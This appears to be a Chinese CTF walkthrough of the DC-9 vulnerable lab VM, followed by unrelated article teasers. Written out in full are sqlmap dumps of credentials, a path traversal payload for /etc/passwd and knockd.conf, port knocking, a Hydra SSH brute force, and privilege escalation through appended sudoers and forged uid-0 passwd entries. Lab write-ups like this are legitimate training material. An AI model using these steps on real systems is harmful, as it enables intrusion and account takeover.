DC-9靶机做题记录

news2024/12/23 16:04:47

靶机下载地址:

链接:https://pan.baidu.com/s/1LR44-oFnO6NU6bTNs7VNrw?pwd=hzke 
提取码:hzke 

参考:

  • 【DC系列靶机DC9通关讲解】 https://www.bilibili.com/video/BV1p24y1s78C/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • 靶机下载地址:http://www.five86.com/downloads/DC-9.zip
  • http://t.csdnimg.cn/gOEQC
  • http://t.csdnimg.cn/7aIcG
  • DC-9 (1).pdf

image.png
描述:

DESCRIPTION 说明
DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-9是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

TECHNICAL INFORMATION 技术信息
DC-9 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.
DC-9是一个基于Debian 64位构建的VirtualBox虚拟机,但在大多数电脑上运行它应该不会有任何问题。

DC-9 has been tested successfully on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this.
DC-9已在VMWare Player上成功测试,但如果在VMWare中运行此VM有任何问题,请仔细阅读。

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
它目前已配置为桥接网络,但可以根据您的要求进行更改。已为DHCP配置网络。

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.
安装很简单——下载它,解压缩它,然后将它导入VirtualBox或VMWare,然后就可以离开了。

IMPORTANT 重要的
While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.
虽然使用此虚拟机应该没有问题,但通过下载它,您将对此虚拟机可能造成的任何意外损坏承担全部责任。

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.
这么说,应该没有任何问题,但我觉得有必要把它扔出去以防万一。

1、导入VMware虚拟机

下载完成后,得到DC-9.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc9 ,后续的操作都在该目录下进行
image.png

使用工具

攻击者:kali 192.168.1.128
靶机:dc-9 192.168.1.137

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png

目录扫描
dirsearch -u "192.168.1.137" -e php -i 200
  • -e 表示扫描php
  • -i 表示只看 200状态码的
  • -x 表示不看相关的状态码
  • –random-agent 表示使用随机的UA头

image.png

页面探测

image.png
image.png
测试一下search页面是否存在SQL注入漏洞
image.png
image.png
测试发现,Search页面搜索然后跳到results页面的时候存在SQL注入

二、SQLmap自动化注入

爆库名(用post的方式)

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -dbs
  • –data 表示是POST的方式,data是POST带的数据
  • –batch 自动帮我们确定下一步,自动化操作
  • -dbs 显示数据库

image.png

爆表名

  • 先看一下users表的内容
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -tables	

image.png

爆列名

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -T UserDetails --columns

image.png

爆字段

看看username,password

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D users -T UserDetails -C username,password --dump

image.png
这个username和password被sqlmap保存在了一个csv里面
image.png
我们用逗号作为分隔符,把username和password分别保存为两个txt,等一下爆破要用

cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $1}'

image.png

 cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $1}' > username.txt

 cat /root/.local/share/sqlmap/output/192.168.1.137/dump/users/UserDetails.csv | awk -F, '{print $2}' > password.txt

image.png

  • 再回去看看刚刚那个Staff数据库

也是一样的顺序和命令

Staff爆表名

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff --tables

image.png

Staff爆列名

sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff -T Users --columns

image.png

Staff爆字段

  • 查看一下Username和Password
sqlmap -u http://192.168.1.137/results.php --data="search=1" --batch -D Staff -T Users -C Username,Password --dump

image.png
发现admin账号
密码一眼丁真为MD5加密,找一个在线解密网站解密即可

  • https://www.cmd5.org/
  • https://www.somd5.com/

CMD5查到了但要钱才能解锁,换一个
image.png
换成somd5就可以了,密码为transorbital1
image.png
可以用来登录Web页面
image.png
注意到下面有File does not exist,想到是程序引用或读取了一个不存在的文件才会回显这个,说明可能存在任意文件读取漏洞
image.png
参数名是file,构造payload:

?file=../../../../../../../etc/passwd

image.png

打开SSH端口

ssh 的22端口状态是filtered 的,猜想是运行了knockd 服务,才导致ssh处于关闭状态

port knocking

(参考端口敲门服务):
如字面意思,类似‘敲门’,只是这里敲的是‘端口’,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。

使用者连接之前必须先依序 '敲击' 指定端口 (port knocking), knockd 才开放受到保护的端口

它的配置文件路径为/etc/knockd.conf
那我们利用任意文件读取漏洞查看一下konckd的配置文件
构造payload:

?file=../../../../../../../etc/knockd.conf

image.png
Ctrl+U查看一下源代码显示得更清楚一点
image.png
配置文件说明需要依次敲击7469,8475,9842这三个端口才行

方法一

使用knock程序

开启
knock  <target>  7000 8000 9000
关闭
knock  <target>  9000 8000 7000
方法二:
Open:
nc -z <target> 7000 8000 9000
Close:
nc -z <target> 9000 8000 7000

我们直接用 nc 吧

nc -z 192.168.1.137 7469 8475 9842

knock 之后就可以看见ssh的22端口是 open 的状态的了
image.png

九头蛇爆破(参考Hydra密码爆破工具使用教程图文教程(超详细)_hydra使用教程-CSDN博客)

hydra -L username.txt -P password.txt ssh://192.168.1.137
  • -L 指定用户名字典
  • -P 指定密码字典

image.png
获得三个账号密码,依次登录看看

  • chandlerb里啥也没有

image.png

  • chandlerb里也啥都没有

image.png

  • janitor里有一个密码本

image.png
将这几个密码添加到我们原来的password.txt里面去

echo 'BamBam01                                                              
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts' >> password.txt

image.png
再用九头蛇进行爆破,再跑一遍
发现多了一个fredf账号,密码为B4-Tru3-001
image.png

sudo -l

发现它可以不需要密码,以root权限去执行文件/opt/devstuff/dist/test/test
image.png
cd 到该目录看看
image.png
test.py表名

  1. 运行需要三个参数,第一个参数就是test执行文件它本身
  2. 第二个参数就是会执行读取第二个文件的内容的操作
  3. 第三个参数是把第二个文件的内容追加到第三个文件中,因为它用的是“a”这个模式,a是append,追加的意思

提权

方法一:

有一个叫sudo的东西
sudo就是正常情况下,你想要以非root用户执行一条root命令的话,就需要用到它
而sudo它有一个/etc/sudoers文件
这个文件配置了你能做什么操作
root ALL=(ALL:ALL) ALL就说明root什么都能做
image.png
所以我们需要在/etc/sudoers下追加一条命令,让我们这个用户能做ALL所有事情

fredf    ALL=(ALL:ALL) ALL

我们现在当前目录下创建一个a.txt,添加如下的内容
image.png
然后运行test这个可执行文件,把内容添加到 /etc/sudoers 里面去

sudo /opt/devstuff/dist/test/test a.txt /etc/sudoers

image.png
现在就是牛逼的sudoers了,想提权就敲这条命令

sudo su -
  • sudo 就是我要用root用户去执行root命令
  • su 就是提权
    • 就是切换到它的环境变量里

image.png
下载就可以在/root目录下获得最终的flag了
image.png

方法二:

原理: /etc/passwd 文件中含有的用户会去 /etc/shadow 文件中校验,如果 /etc/shadow 文件中没有则会无密码直接su切换用户

先利用openssl命令创建一个密码

openssl passwd -1 -salt <用户名> <密码>

得到hash密码,$1$hacker$TzyKlv0/R/c28R.GAeLw.1
接着到tmp目录新建一个文件

cd /tmp
 
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0::/root:/bin/bash' > hacker

这里有个注意的地方,写入的时候必须是单引号,也就是echo ‘…’,不能是echo “…”,双引号会导致最后失败
对内容的解释,passwd文件每一行的格式如下:

  • 用户名:密码(hash):uid:gid:说明:家目录:登陆后使用的shell

image.png
然后运行脚本,把内容添加到 /etc/passwd 文件里面去

sudo /opt/devstuff/dist/test/test hacker /etc/passwd

image.png
切换到/roor目录就可以发现flag了

总结:

  1. 信息收集,目录扫描,开头的步骤很重要
  2. SQlmap自动化注入的操作了解加深
  3. 了解到了Knock服务
  4. Hydra工具的使用
  5. 提权,对/etc/pawwd 文件格式的了解,以及对/etc/sudoers 文件的了解

完毕!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1407699.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

推特Twitter账号被冻结?IP代理选对了吗?

Twitter 拥有庞大的用户群和日常内容流&#xff0c;是沟通、网络和营销的重要平台。然而&#xff0c;处理其限制和潜在的帐户问题可能很棘手。有许多跨境社媒小伙伴反馈&#xff0c;账号无故被冻结&#xff0c;导致内容与客户尽失&#xff01;其实除了账户养号、被举报、广告信…

MySQL--删除数据表(6)

MySQL中删除数据表是非常容易操作的&#xff0c;但是你在进行删除表操作时要非常小心&#xff0c;因为执行删除命令后所有数据都会消失。 语法 以下为删除 MySQL 数据表的通用语法&#xff1a; DROP TABLE table_name ; -- 直接删除表&#xff0c;不检查是否存在 或 DROP…

【MIdjourney】五个特殊物体关键词

1.碳酸(Carbonate) 这一词语的本意是指包含碳&#xff08;C&#xff09;、氧&#xff08;O&#xff09;和氢&#xff08;H&#xff09;元素的化合物。而在MIdjourney中添加该词汇会使得生成的图片具有水滴效果且富有动态感。 2.灯丝(Filament) Filament效果可能包括更逼真的…

Unity中URP下获取额外灯数量

文章目录 前言一、SimpleLit下额外灯数量的获取1、在 SimpleLit 下&#xff0c;先获取了额外灯的数量2、对其进行循环计算每一个额外灯3、GetAdditionalLightsCount在这里插入图片描述 二、GetAdditionalLightsCount实现了什么1、_AdditionalLightsCount.x2、unity_LightData.y…

【Leetcode】2765. 最长交替子数组

文章目录 题目思路代码结果 题目 2765. 最长交替子数组 题目&#xff1a;给你一个下标从 0 开始的整数数组 nums 。如果 nums 中长度为 m 的子数组 s 满足以下条件&#xff0c;我们称它是一个 交替子数组 &#xff1a; m 大于 1 。 s1 s0 1 。 下标从 0 开始的子数组 s 与…

JL-03-Q6 校园气象站

产品概述 校园气象站针对测量与环境、科学研究等相关的气象指标进行设计制造&#xff0c;气象站对采集数据信息以图表、数据的形式真实、直观的反应当前环境数据指标。可通过各种传感器对气压、气温、相对湿度、风向、风速、雨量、太阳辐射、乃至空气质量等要素进行采集、存储…

【数学建模】综合评价方法

文章目录 综合评价的基本理论和数据预处理综合评价的基本概念综合评价体系的构建综合指标的预处理方法评价指标预处理示例 常用的综合评价数学模型线性加权综合评价模型TOPSIS法灰色关联度分析熵值法秩和比&#xff08;RSR&#xff09;法综合评价示例 综合评价的基本理论和数据…

基于SSM的企业文档管理系统

末尾获取源码作者介绍&#xff1a;大家好&#xff0c;我是何时&#xff0c;本人4年开发经验&#xff0c;专注定制项目开发 更多项目&#xff1a;CSDN主页YAML 我欲乘风归去 又恐琼楼玉宇 高处不胜寒 -苏轼 一、项目简介 现代经济快节奏发展以及不断完善升级的信息化技术&…

火热报名中:2024山西国际人工智能展览会(世亚智博会)

2024山西国际人工智能展览会&#xff08;世亚智博会&#xff09;是由中国人工智能学会、山西省科学技术学会联合主办&#xff0c;旨在推动全球人工智能技术的交流与合作。展会将于2024年6月在山西潇河国际会展中心举行&#xff0c;主题为“数字新时代链接新未来”&#xff0c;将…

刷题总结1.24(补充版)

可以把第三个for提出来&#xff0c;因为和其它的都没什么关联&#xff0c;然后第一个和第二个for是12。。。的和&#xff0c;这个是n^2数量级的&#xff0c;最后总的是n^3数量级的。 在使用邻接表表示图时&#xff0c;拓扑排序算法的时间复杂度为O(ne)。 首先&#xff0c;对于…

openGauss学习笔记-205 openGauss 数据库运维-常见故障定位案例-业务运行时整数转换错

文章目录 openGauss学习笔记-205 openGauss 数据库运维-常见故障定位案例-业务运行时整数转换错205.1 业务运行时整数转换错205.1.1 问题现象205.1.2 原因分析205.1.3 处理办法 openGauss学习笔记-205 openGauss 数据库运维-常见故障定位案例-业务运行时整数转换错 205.1 业务…

生成芭比系列咒语

咒语&#xff1a;Close-up of a man with golden hair and a necklace,Digital Art Inspired by Cheng Yanjun, Tumblr,Rococo,Portrait of Josie in Black Pink,Portrait Zhixiu Black Pink,flowing golden hair,long flowing golden hair,Bubble Gum Long Hair,blond hair,Pi…

Oracle BIEE 示例(一)数据透视表2

1 背景 版本:BIEE 12C 视图:数据透视表 实现内容(顺序与具体内容不一致): 2 空列显示(方法一) 2.1 问题 列为空时,标题栏不显示信息。 2.2 期望 即使数据为空,也要显示列名。 2.3 官方资料 2.3.1 操作步骤 2.3.1.1 要在分析级别关闭空值隐藏,请执行以下操作…

MATLAB实现逐步回归数学建模算法

逐步回归&#xff08;Stepwise Regression&#xff09;是一种逐步选择特征的回归方法&#xff0c;通过逐步地添加或删除特征来构建模型。这种方法的目标是在保持模型预测准确性的同时&#xff0c;减少特征的数量&#xff0c;以防止过拟合或提高模型的解释性。逐步回归通常分为前…

如何群发邮件outlook?外贸邮件群发教程?

outlook怎么设置邮件群发&#xff1f;outlook邮箱群发邮件方法&#xff1f; 在日常生活中&#xff0c;我们经常需要给多个人发送相同的邮件。这时候&#xff0c;群发邮件就显得尤为重要。Outlook作为一款常用的办公软件&#xff0c;提供了强大的邮件群发功能。蜂邮EDM就教大家…

JAVA文件操作IO流(一)

File 文件对象 文件 在计算机中&#xff0c;文件是非常重要的存储方式&#xff0c;JAVA的标准库java.io提供了File对象来操作文件和目录。要构建一个File对象&#xff0c;需要通过构建方法&#xff0c;传入该文件的本地物理路径。 例如&#xff1a; 获取文件对象的1.绝对路径…

11.前端--CSS-背景属性

1.背景颜色 样式名称&#xff1a; background-color 定义元素的背景颜色 使用方式: background-color:颜色值; 其他说明&#xff1a; 元素背景颜色默认值是 transparent&#xff08;透明&#xff09;      background-color:transparent; 代码演示&#xff1a; 背景色…

基于KVM两个RDMA端口通信测试 - RoCE传输模式下

目的 为验证KVM的RDMA两个节点node1 - node2之间能正常RoCE通信传输&#xff0c;检查三个nodes的集群网&#xff0c;能ping通是测试继续的基础条件 验证步骤 Server和Client进行 ib_send_bw命令行检验&#xff0c;启动server端等待Client的链接&#xff0c;使用带宽测试的参数…

Android 渲染机制

1 Android 渲染流程 一般情况下&#xff0c;一个布局写好以后&#xff0c;使用 Activity#setContentView 调用该布局&#xff0c;这个 View tree 就创建好了。Activity#setContentView 其实是通过 LayoutInflate 来把布局文件转化为 View tree 的&#xff08;反射&#xff09;…

Linux命令-top

1、top命令简介 top命令是linux系统常用命令之一&#xff0c;能够实时显示系统各个进程的资源占用情况&#xff0c;类似于windows系统的任务管理器。 需要注意的是&#xff1a;top命令监控的最小单位是进程&#xff0c;如果想监控更小单位时&#xff0c;就需要用到ps或者nets…